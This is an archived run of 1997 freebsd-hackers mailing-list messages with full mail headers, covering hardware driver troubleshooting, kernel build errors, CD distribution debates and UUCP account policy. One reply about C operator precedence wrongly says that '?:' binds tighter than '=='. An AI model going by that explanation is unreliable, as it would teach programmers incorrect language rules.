Precedence: bulk It seems that Narvi said: > On Sat, 24 May 1997, Don Yuniskis wrote: > > > I suspect that a DMA channel of the SC400 could move enough bits. > > The problem would lie in the number of bcopy()'s, etc. needed to > > actually move the data to someplace useful... > > > > > But take a look at the SMC FEAST controller (91C100), it has > > > 32/16 bit bus support and is not meant specificly for PCI (actually, VL is > > > even mentioned). > > > > Yes, but the SC400 devices don't support *any* busmastering! > > So, that type of solution would necessitate the additon of > > a psuedo-dual-ported RAM just for the NIC. Kinda silly when > > there are gobs of DRAM sitting on the DRAM controller yet > > inaccessible to the NIC... > > Well, I am not sure if the FEAST chip even supports bus-mastering. It does > have support for 128K of external buffer RAM. Adding SRAM just for the NIC makes things bigger/more expensive... wasteful when there's gobs of DRAM sitting right there! > > > For 10 Mbit ethernet SMC also makes single-chip thingies > > > with direct ISA interface (91c94 - 91c96). They have 4.5KB RAM > > > on-board (dynamically allocated, in which upto 18 packets may be stored > > > at a time). There even seems to be enough information for writing a > > > driver. > > > > This is currently my best guess at a solution. However, I would > > have liked a faster device and I'm unsure of the overhead of > > moving bytes to/from it. > > It says on the DS it doesn't use any wait states on ISA, then again, it > seems to be a 16 bit wide IO device only (no memory mapping). My concern re: "overhead of moving bytes" was just that -- having to move the bytes from the "external RAM" into the main system DRAM. --don From owner-freebsd-hackers Fri May 30 01:02:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA05568 for hackers-outgoing; Fri, 30 May 1997 01:02:14 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA05560 for ; Fri, 30 May 1997 01:02:06 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wXMdO-000nx5C; Fri, 30 May 97 10:02 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Fri, 30 May 1997 09:28:04 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for hackers@FreeBSD.ORG; Fri, 30 May 1997 09:23:27 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #2 built 1997-May-3) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: FreeBSD CVS Tree In-Reply-To: from Chuck Robey at "May 29, 97 06:40:22 pm" To: hackers@FreeBSD.ORG Date: Fri, 30 May 1997 09:23:27 +0200 (CEST) Cc: jkh@time.cdrom.com Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Chuck Robey wrote: > > I'm already removing distfiles to make them fit Nooooo !!! > FWIW, I wish WC would split off the ports and distfiles together into > their own separate CD set, sold separately. Nooooo !!! > > it's not going to happen until I manage to convince WC to go to > > a 4 CD set. Yes, perhaps that is the way to go! I can easily live without the "Live Filesystem" on the second CD, but i _cannot_ live without either the ports _or_ the distfiles !! The ports are fine, but they don't fit into every environment, so i'm glad i have the distfiles to fit them to _my_ needs. In case the distfiles are missing, i have a binary distribution and i have to spend more money to ftp the stuff than for the whole CD !!!!!! IMHO, the source for _every_ binary has to be provided on the CD's, other- wise it's the first step to a binary-only distribution - and this is not something i'm going to like at all. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Fri May 30 02:30:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA08051 for hackers-outgoing; Fri, 30 May 1997 02:30:51 -0700 (PDT) Received: from oskar.nanoteq.co.za (oskar.nanoteq.co.za [163.195.220.170]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA08046 for ; Fri, 30 May 1997 02:30:45 -0700 (PDT) Received: (from rbezuide@localhost) by oskar.nanoteq.co.za (8.8.5/8.8.5) id LAA00660 for freebsd-hackers@freebsd.org; Fri, 30 May 1997 11:30:40 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <199705300930.LAA00660@oskar.nanoteq.co.za> Subject: HP DAT and crashes To: freebsd-hackers@freebsd.org Date: Fri, 30 May 1997 11:30:40 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi there ... After having installed a HP C1599A 4 Gig DDS2 tape drive my system has been reebooting everytime I use the DAT drive. I have the following components installed FreeBSD 2.1.7.1 Adaptek 2940 2 X @ Gig IBM DORS SCSI disks (running as one ccd device) 1 X HP C1599A DAT drive (hardware compression enabled SCSI ID 6, termination off) Sequence Adaptek----->st0------>sd0-------->sd1(term) Before I installed the HP C1599A I used to do backups using an external HP 2 Gig drive without any problems !! So I'm not sure if the problem lies with the device driver for the 2940 ISA Adaptek (a bit old :) ) The following happens. The backing of a backup seems fine: tar -cvf /dev/rst0 / but when doing a tar -dvf /dev/rst0 It seems to run up to a point and then the following is displayed in the logs an on the console May 29 14:09:02 oskar /kernel: st0(ahc0:6:0): timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0x0 May 29 14:09:02 oskar /kernel: SEQADDR == 0x11 panic ahc0: Timed-out command times out again syncing disks ... 135 135 135 ..... giving up followed by a reboot. This morning I tried to do a "mt -f /dev/rst0 erase" And got the following in the logs and on the console May 30 10:36:53 oskar /kernel: st0(ahc0:6:0): timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0x0 May 30 10:37:04 oskar /kernel: SEQADDR == 0x11 May 30 10:37:04 oskar /kernel: Abort Message Sent May 30 10:37:04 oskar /kernel: sd1(ahc0:1:0): timed out in message out phase, SC SISIGI == 0x0 May 30 10:37:04 oskar /kernel: SEQADDR == 0x0 May 30 10:37:04 oskar /kernel: st0(ahc0:6:0): abort message in message buffer May 30 10:37:04 oskar /kernel: st0(ahc0:6:0): timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0x0 May 30 10:37:04 oskar /kernel: SEQADDR == 0x10 May 30 10:37:04 oskar /kernel: ahc0: Issued Channel A Bus Reset. 1 SCBs aborted May 30 10:37:04 oskar /kernel: Clearing bus reset May 30 10:37:04 oskar /kernel: sd1(ahc0:1:0): UNIT ATTENTION asc:29,0 May 30 10:37:04 oskar /kernel: sd1(ahc0:1:0): Power on, reset, or bus device re set occurred May 30 10:37:04 oskar /kernel: , retries:4 May 30 10:37:04 oskar /kernel: Clearing 'in-reset' flag May 30 10:37:34 oskar /kernel: sd0(ahc0:0:0): UNIT ATTENTION asc:29,0 May 30 10:37:34 oskar /kernel: sd0(ahc0:0:0): Power on, reset, or bus device re set occurred May 30 10:37:34 oskar /kernel: , retries:4 May 30 10:42:04 oskar /kernel: st0(ahc0:6:0): timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0x0 May 30 10:42:04 oskar /kernel: SEQADDR == 0x11 followed by a reboot .... after about 5 minutes Here is an extract from dmesg ... ahc0 rev 0 int a irq 10 on pci0:19 ahc0: aic7870 Single Channel, SCSI Id=7, 16 SCBs ahc0 waiting for scsi devices to settle (ahc0:0:0): "IBM DORS-32160 S82C" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct-Access 2063MB (4226725 512 byte sectors) (ahc0:1:0): "IBM DORS-32160W WA6A" type 0 fixed SCSI 2 sd1(ahc0:1:0): Direct-Access 2063MB (4226725 512 byte sectors) (ahc0:6:0): "HP C1533A A612" type 1 removable SCSI 2 st0(ahc0:6:0): Sequential-Access density code 0x24, drive empty Probing for devices on the ISA bus: Thanx Reinier From owner-freebsd-hackers Fri May 30 02:40:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA08388 for hackers-outgoing; Fri, 30 May 1997 02:40:57 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA08381; Fri, 30 May 1997 02:40:54 -0700 (PDT) Received: from critter.dk.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0wXO9w-0003yiC; Fri, 30 May 97 02:39 PDT Received: from critter.dk.tfs.com (localhost [127.0.0.1]) by critter.dk.tfs.com (8.8.5/8.8.5) with ESMTP id KAA03392; Fri, 30 May 1997 10:55:54 +0200 (CEST) To: "Amr A. Awadallah" cc: freebsd-bugs@FreeBSD.org, freebsd-hackers@FreeBSD.org, Chetan Rai , Nick W McKeown From: Poul-Henning Kamp Subject: Re: FreeBSD: Clarification for the false slow-start "bug". In-reply-to: Your message of "Wed, 28 May 1997 16:01:07 PDT." Date: Fri, 30 May 1997 10:55:54 +0200 Message-ID: <3390.864982554@critter.dk.tfs.com> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > The web page can be reached at: > > http://www.stanford.edu/~aaa/tcp I must admit that it looks like compelling evidence. Should we make this change a sysctl'able option and see how it works out in real life ? -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@tfs.com TRW Financial Systems, Inc. Power and ignorance is a disgusting cocktail. From owner-freebsd-hackers Fri May 30 04:24:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA11703 for hackers-outgoing; Fri, 30 May 1997 04:24:20 -0700 (PDT) Received: from pluto.plutotech.com (root@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA11698 for ; Fri, 30 May 1997 04:24:17 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id FAA05670; Fri, 30 May 1997 05:23:32 -0600 (MDT) Message-Id: <199705301123.FAA05670@pluto.plutotech.com> To: Reinier Bezuidenhout cc: freebsd-hackers@FreeBSD.ORG Subject: Re: HP DAT and crashes In-reply-to: Your message of "Sat, 30 May 1997 11:30:40 +0200." <199705300930.LAA00660@oskar.nanoteq.co.za> Date: Fri, 30 May 1997 06:20:38 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Hi there ... > >After having installed a HP C1599A 4 Gig DDS2 tape drive my system >has been reebooting everytime I use the DAT drive. > >I have the following components installed > >FreeBSD 2.1.7.1 This is your problem. Upgrade to 2.1-stable, which has several bug fixes for the aic7xxx driver, and your problems will likely go away. 2.1-stable is availible via CVSup, CTM, or ftp. See the handbook at www.FreeBSD.org for details. >Thanx >Reinier -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Fri May 30 05:55:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA14368 for hackers-outgoing; Fri, 30 May 1997 05:55:54 -0700 (PDT) Received: from pc-pvl.nanoteq.co.za (pc-pvl.nanoteq.co.za [163.195.219.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA14363 for ; Fri, 30 May 1997 05:55:38 -0700 (PDT) Received: from pc-pvl.nanoteq.co.za (localhost.nanoteq.co.za [127.0.0.1]) by pc-pvl.nanoteq.co.za (8.8.5/8.8.5) with ESMTP id OAA00497; Fri, 30 May 1997 14:53:11 +0200 (SAT) Message-Id: <199705301253.OAA00497@pc-pvl.nanoteq.co.za> To: Michael Smith cc: pvl@nanoteq.com, freebsd-hackers@FreeBSD.ORG Subject: Re: ed0 : device timeout In-reply-to: Your message of "Fri, 30 May 1997 10:54:29 +0930." <199705300124.KAA22812@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 May 1997 14:53:11 +0200 From: "P. van Leeuwen" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Pierre Van Leeuwen stands accused of saying: > > Hi > > > > I wrote to questions about this earlier, but that didn't solve my > > problem. > > > > I get the following message : > > ed0 : device timeout > > The ususal reasons for this are : > > - you have an IRQ mismatch, in that the card is set to one value, and > the driver another. That was the first thing I checked. I also checked all IRQ's on all devices -- no conflicts. Just now I removed the soundcard (OPTI chipset driver) and my network card seems to be working. Hate to mention this, but everything works ( M$-like ) fine under NT :( Can it be that they share memory? I can't find out what the soundcard uses but the network card is on 0xd8000. I think I'll just fiddle with that some more. Serves me right for buying a cheap soundcard :) pierre > - you have a cabling/termination problem on your network. > - your card is faulty. > > > It doesn't seem to be fatal all the time though. > > Sounds like cabling - a bad RJ/BNC connector, T-piece, terminator or > hub port. > -- Pierre van Leeuwen E-mail : pvl@nanoteq.com Ph : +27 (0)12 665-1338 http://www.nanoteq.co.za From owner-freebsd-hackers Fri May 30 07:58:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA19292 for hackers-outgoing; Fri, 30 May 1997 07:58:18 -0700 (PDT) Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA19285 for ; Fri, 30 May 1997 07:58:16 -0700 (PDT) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id KAA07964; Fri, 30 May 1997 10:52:04 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.8.5/8.8.5) with ESMTP id KAA04020; Fri, 30 May 1997 10:57:44 -0400 (EDT) Message-Id: <199705301457.KAA04020@bmcgover-pc.cisco.com> To: stogdon.psd@navir.navy.mil cc: hackers@freebsd.org Subject: Re: Keyboard lockup problem (was: Need help) Date: Fri, 30 May 1997 10:57:43 -0400 From: Brian McGovern Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have seen this problem before on a Dell P75 and a P100 where the keyboard and mouse are PS/2 styles. Usually, unplugging the mouse and/or generating keyboard and mouse interrupts during the bootup would let you slide past the problem. I think (I have not investigated this sufficiently to be sure) that it has something to do with how FreeBSD is reseting this particular set of kerboard/mouse controllers. This message is to act more of a confirmation that this isn't one particular machine, but a group of them. I have, however, had the boot disk work on other Dells of the same type. The only thing that made this one different was that the flash ROM code for the machine had been upgraded to the "latest" release for that particular machine (I wasn't the one who was responsible for doing it, so details are second hand). Perhaps this ROM change was sufficient to cause the problem (probably was), rather than it being a change in the FreeBSD console driver. -Brian From owner-freebsd-hackers Fri May 30 08:33:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA20912 for hackers-outgoing; Fri, 30 May 1997 08:33:12 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA20906 for ; Fri, 30 May 1997 08:33:07 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.31.2]) by Campino.Informatik.RWTH-Aachen.DE (RBI-Z-5/8.6.12) with ESMTP id RAA11536 for ; Fri, 30 May 1997 17:32:58 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id RAA18960 for freebsd-hackers@freefall.cdrom.com; Fri, 30 May 1997 17:36:19 +0200 (MEST) Date: Fri, 30 May 1997 17:36:19 +0200 (MEST) From: Christoph Kukulies Message-Id: <199705301536.RAA18960@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: osreldate.h - how does this mechanism work? Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Whilst compiling an IPFILTER kernel and being near through again, I'm wondering how osreldate.h gets into the game? netinet/ip_fil.c wants to include sys/osreldate.h. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Fri May 30 09:03:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA22379 for hackers-outgoing; Fri, 30 May 1997 09:03:13 -0700 (PDT) Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA22374 for ; Fri, 30 May 1997 09:03:11 -0700 (PDT) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA12835 for ; Fri, 30 May 1997 11:56:57 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.8.5/8.8.5) with ESMTP id MAA04384 for ; Fri, 30 May 1997 12:02:38 -0400 (EDT) Message-Id: <199705301602.MAA04384@bmcgover-pc.cisco.com> To: hackers@freebsd.org Subject: PPP insight needed... Date: Fri, 30 May 1997 12:02:38 -0400 From: Brian McGovern Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm trying to do some testing on a serial driver that has been working in character mode. I am, however, seeing a problem with PPP (pppd) that I haven't been able to track down in my driver, and I'm hoping someone might be able to go "Oh, yeah, thats it". BTW, this is with 2.2.1-RELEASE. The sio driver appears to work ok. Anyhow, the issue I'm seeing concerns the flags field at the entry points of the driver. When running PPP to open a port and dial out, the "flags" field to the open() call are set to 3 (hex). On subsequent calls to ioctl() and read(), the flags are set to 10(hex), which is the O_NONBLOCK flag, from my interpretation. Having done a kernel trace, the PPP packet code does a check against (flag & IO_NDELAY), which after much tracing, seems to have IO_NDELAY set if O_NONBLOCK is set in the flags field. This is causing PPP to spin completely out of control, and use up all available CPU time. Obviously, this is bad. I guess, firstly, my question is, is this supposed to happen? Probably not, but you never know... :) Next, is there an out-of-driver structure that I can look at to keep an eye on the flags field? It appears to be changing between the open() call and the first ioctl()? Thirdly, is there any way (outside of a driver) that this value can be changed? I see it for open(), but none of the other calls. Thanks. -Brian From owner-freebsd-hackers Fri May 30 09:04:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA22466 for hackers-outgoing; Fri, 30 May 1997 09:04:55 -0700 (PDT) Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA22461 for ; Fri, 30 May 1997 09:04:53 -0700 (PDT) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA12933; Fri, 30 May 1997 11:58:40 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.8.5/8.8.5) with ESMTP id MAA04390; Fri, 30 May 1997 12:04:22 -0400 (EDT) Message-Id: <199705301604.MAA04390@bmcgover-pc.cisco.com> To: luiz@nlink.com.br cc: hackers@freebsd.org Subject: Cyclades card problems... Date: Fri, 30 May 1997 12:04:21 -0400 From: Brian McGovern Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The problem is directly collated between interrupt latency and the number of silo overflows. The "problem" is that the Cyclom-Y cards only have DTR flow control available to them. Note that this means no RTS/CTS flow control that most applications use for hardware flow control. Therefore, if the buffers on the card fill up, and the system doesn't service them in time, a silo overflow will be the result unless XON/XOFF flow control is enabled. The PCI card, using a low priority interrupt handler, is the primary cause for problems on the PCI version (the Ys have, if I remember correctly, as this conversation was back in December, only 12 bytes of FIFO space).The system just doesn't get to the card soon enough to avoid a silo overflow. In the ISA case, the problem is lessened, but an overburdened box will have the same issues (and I've caused this in a pentium pro 200 running 16 ports at 38400 at full saturation). Now, although I can't speak for Cyclades, when I raised the issue with them back in December (now remember, I work for Cisco, and we're talking port requirements that will approach 10,000+ between all of our groups), they didn't seem interested in fixing it. After all, it would require a complete reengineering of the card. Currently, all of their energies are being routed towards the Cyclom-Z card, which is currently available in an 8 port version. The card can do up to 460K per port on all of the ports. There is a 64 port version due out this summer, and it'll handle 920+K per second. Depending on customer demand, there may also be a 128 port version later in the year. The downside to the Z card is this: There currently isn't a fully working driver. I have one thats around 80% working. I have a problem with the read() routine spinning with pppd, its not (properly) generating a HUPCL message to shells, and the open routine needs to be finished to handle all conditions that may arise (ie - "allowable" conditions are rejected as EBUSY). I'm hoping to have something reasonable within a week or two, but thats where it stands. If you have any questions, I'll be more than happy to field them. -brian From owner-freebsd-hackers Fri May 30 09:37:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24047 for hackers-outgoing; Fri, 30 May 1997 09:37:02 -0700 (PDT) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA24042 for ; Fri, 30 May 1997 09:36:59 -0700 (PDT) From: proff@suburbia.net Received: from suburbia.net (suburbia.net [198.142.2.24]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id JAA25481 for ; Fri, 30 May 1997 09:40:03 -0700 (PDT) Received: (qmail 5042 invoked by uid 110); 30 May 1997 16:36:38 -0000 Message-ID: <19970530163638.5041.qmail@suburbia.net> Subject: Re: IPFILTER kernel woes (FreeBSD 3.0-current) In-Reply-To: <199705301607.SAA19122@gil.physik.rwth-aachen.de> from Christoph Kukulies at "May 30, 97 06:07:37 pm" To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Sat, 31 May 1997 02:36:37 +1000 (EST) Cc: ipfilter@postbox.anu.edu.au X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I'm biting through and having got around one hurdle another one piles up: > > My kernel options is IPFILTER (not IPFILTER_LKM - maybe that's > making things more weird). Anyone I wonder if anyone has gotten > through compiling a FreeBSD-3.0 of today IPFILTER kernel yet. > > This is what I'm getting now: > > cc -c -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I../../../include -DGUSMAX -DDEVFS -DIPFILTER_LOG -DIPFILTER -DIPDIVERT -DUSER_CONFIG -DCOMPAT_43 -DMSDOSFS -DMFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../netinet/mln_ipl.c > ../../netinet/mln_ipl.c: In function `ipl_remove': > ../../netinet/mln_ipl.c:189: too few arguments to function `VOP_LOCK' > ../../netinet/mln_ipl.c:197: too few arguments to function `VOP_LOCK' > ../../netinet/mln_ipl.c:205: too few arguments to function `VOP_LOCK' > *** Error code 1 > > Stop. > > -- > Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de This is because VOP_LOCK takes three arguments, starting with 4.4BSD-lite2. I didn't like this use of vnodes to create and remove /dev/ip{l,nat,state}, each time the module is loaded/unloaded, which is why I didn't include them when I wrote mlf_ipl.c (ipfilter-proff-final2.shar etc). It strikes me as needlessly complex, and crossing domains (i.e it is not proper for network software to be messing with the file system), and interfering with user defined policy (tripwiring, write-protecting etc of /dev). If there is no agreed on assigned major number - and there *is* in the case of {Net,Free,Open}BSD) - the proper course is to have a user-level program grovel through kmem, or otherwise examine the major number resource, and execute a standard mknod, not the VOP_* horror we currently see. Cheers, Julian. From owner-freebsd-hackers Fri May 30 09:42:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24286 for hackers-outgoing; Fri, 30 May 1997 09:42:52 -0700 (PDT) Received: from etinc.com (et-gw-fr1.etinc.com [204.141.244.98]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA24278 for ; Fri, 30 May 1997 09:42:50 -0700 (PDT) Received: from ntws (ntws.etinc.com [204.141.95.142]) by etinc.com (8.8.3/8.6.9) with SMTP id MAA05986 for ; Fri, 30 May 1997 12:54:56 -0400 (EDT) Message-Id: <3.0.32.19970530124208.00c76100@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 30 May 1997 12:42:12 -0400 To: hackers@freebsd.org From: dennis Subject: 2.2.2 UPdate? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there an update disk/procedure for 2.2.2-RELEASE? or do we have to reinstall the whole system to change a few files? Dennis From owner-freebsd-hackers Fri May 30 09:48:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24689 for hackers-outgoing; Fri, 30 May 1997 09:48:51 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA24684 for ; Fri, 30 May 1997 09:48:49 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id JAB07926; Fri, 30 May 1997 09:48:43 -0700 (MST) From: Don Yuniskis Message-Id: <199705301648.JAB07926@seagull.rtd.com> Subject: Re: uucp uid's To: joerg_wunsch@uriah.heep.sax.de Date: Fri, 30 May 1997 09:48:43 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970530085744.UT50834@uriah.heep.sax.de> from "J Wunsch" at May 30, 97 08:57:44 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > I don't think there's a burning need why all the uucpers should have > > > the same UID, but i figure it doesn't hurt either. > > > > It's nicer if they have different uid's -- lets you be a bit more > > restrictive of the types of access you grant to each. Also lets > > you see who's doing what... > > I think it's more of a ``It must be better, since my teacher tought > me that each login needs a unque UID.'' argument. Why not put all shell users under one login? :> > UUCP tracks activities by system name anyway. You can even get away > with a single login name for all peers, but they gotta share the same > password then (which is undesirable). These accounts are only > supposed to run /usr/libexec/uucp/uucico, so the ``who's doing what'' > argument is also a moot point. UUCP access restrictions are also > placed per system, not per account. A system can freely masquerade as any other -- including systems that you *don't* want to give access to (i.e. your single account's password has been compromised intententionally/unintentionally). Especially when the other system may be a DOS box running UUPC, etc. :> "Who's doing what" is intended to deal with "who's flooding me with mail" or "where's this spam originating". With a single account, you have to explicitly trust *all* of those users *and* anyone else who's snuck in with them. When you want to disallow access to a particular system, you have to change the password used by *all* systems and inform the systems that can continue to access of this change, etc. If each UUCP dialup account has a unique login and that is compromised, you can tell exactly where the problem originated, can disable that *single* account (vs. *all* of them) without affecting service to other accounts and can go in search of how the problem originated in the first place. > The only argument that made sense so far was somebody who wanted to > run process accounting for them. UUCP itself is a dinosaur. Yet, I see several places that use UUCP as their sole connection to the electronic world. Kinda tough to force a client/customer to do things *your* way when *he's* paying the bills! :> --don From owner-freebsd-hackers Fri May 30 09:50:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24864 for hackers-outgoing; Fri, 30 May 1997 09:50:44 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA24854 for ; Fri, 30 May 1997 09:50:38 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA04910; Fri, 30 May 1997 12:50:04 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Fri, 30 May 1997 12:50 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id HAA14579; Fri, 30 May 1997 07:52:43 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id IAA11334; Fri, 30 May 1997 08:00:17 -0400 (EDT) Date: Fri, 30 May 1997 08:00:17 -0400 (EDT) From: Thomas David Rivers Message-Id: <199705301200.IAA11334@lakes.water.net> To: ponds!FreeBSD.ORG!hackers, ponds!anchorage.net!un_x Subject: Re: cc/gcc Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > with cc/gcc, i get outputs of "1" and "0" respectively. why? > is this construct ABSOLUTELY incorrect, or is something else amuck? > /*****************************************************************************/ > #include "stdio.h" > /*****************************************************************************/ > void main (unsigned char argc, unsigned char **argv) { > > unsigned char a, b, c; > > a = 1; b = 1; c = 0; > c = a == b == 1 ? 1 : 0 ; printf(" %i\n", c); > a='1'; b='1'; c = 0; > c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); > > exit( 0 );} > /*****************************************************************************/ > > I believe '?' has a higher precedence than '=='; so you are really saying: is b equal to: if 1 then 1 else 0 compare b and 1 - they are the same. -> yes is a equal b? compare a with the result of b's compare (1 == 1)? -> yes assign the 'yes' to c. c <= 1 Then, in the second case: > c = a == b == '1' ? '1' : '0'; printf(" %c\n", c); is b equal to: if 0x31 then 0x31 else 0x30 compare b and 0x31 - they are the same. is a iequal to 1 (the result of the b == ..) -> no ('a' is 0x31, the result of the boolean is 1) c is assigned the result of the comparison with a and 1 c <= 0 So, c gets the value 0 in the second case. Does that help? - Dave Rivers - From owner-freebsd-hackers Fri May 30 09:54:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA25227 for hackers-outgoing; 